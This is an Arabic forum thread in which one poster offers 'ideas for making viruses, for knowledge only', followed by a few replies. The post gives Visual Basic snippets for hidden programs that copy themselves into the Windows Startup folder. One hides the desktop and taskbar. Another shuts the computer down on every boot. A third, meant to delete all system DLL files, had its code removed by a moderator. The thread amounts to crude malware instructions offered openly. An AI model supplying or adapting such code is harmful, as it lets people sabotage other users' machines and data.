هذة افكار لعمل فيروسات للعلم فقط الفيروس الاول: الوظيفة: يقوم هذا الفيروس باخفاء سطح المكتب و قائمة ابدأ و لا تظهر حتي لو اعدت تشغيل الجهاز. الطريقة: 1) غير خاصية Visible الخاصة بالفورم الي False.. 2) ضع اداه Controler.. 3) اكتب هذا الكود في اجراء تحميل الفورم: [align=left]Name App.Path & "Virus1.exe" As "C:WINDOWSStart MenuProgramsStartUpVirus1.exe" Controler11.HideDeskTop = True Controler11.HideTaskBar = True [/align] الفكرة: في السطر الاول من الكود يقو البرنامج بنقل ملف الفيروس الي StartUp, ثم نخفي سطح المكتب و قائمة ابدأ.. ملحوظة: يجب ان يكون اسم الملف Virus1.exe و لو اردت تغييره غير ايضااسم الملف في اول سطر من الكود.. الفيروس الثاني: الوظيفة: يقوم هذا الفيروس بحذف جميع ملفات dll في سيستم بدون رسالة تأكيد ثم اغلاق الجهاز.. الطريقة: 1) غير خاصية Visible الخاصة بالفورم الي False.. 2) اكتب هذا الكود في اجراء تحميل الفورم: حذف .... من قبل المشرف .,.,., الفيروس الثالث: الوظيفة: يقوم هذا الفيروس باغلاق الجهاز كلما فتحته.. الطريقة: 1) غير خاصية Visible الخاصة بالفورم الي False.. 2) اكتب هذا الكود في اجراء تحميل الفورم: [align=left]Name App.Path & "Virus3.exe" As "C:WINDOWSStart MenuProgramsStartUpVirus3.exe" Call ****l("Rundll32.exe user,exitwindows") [/align] كما قلنا للعلم فقط مش لأضرار الاخرين سلااااااام اخوكم الحمادي

بسم الله الرحمن الرحيم الحمد لله والصلاة والسلام على رسول الله السلام عليكم اخي الحمادي مشكور عزيزي على هذا الشرح الدقيق والمفصل منتظرين المزيد من مواضيعك المتميزة لك مني كل الحب والدعاء والتحية اخوك المحب ابن الاصول

السلام عليكم الاخ / ابن الاصــول شاكرين اهتمامك وأن شاء الله نبذل ما بوسعنا احوك : الحمادي

بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاته أفكارك جميله يا عزيز الحمادي يالله همتك معانا في دروس في أساسيات vb مثلاً و خلينا بعيد عن دوشة الفيروسات :) و السلام عليكم ورحمة الله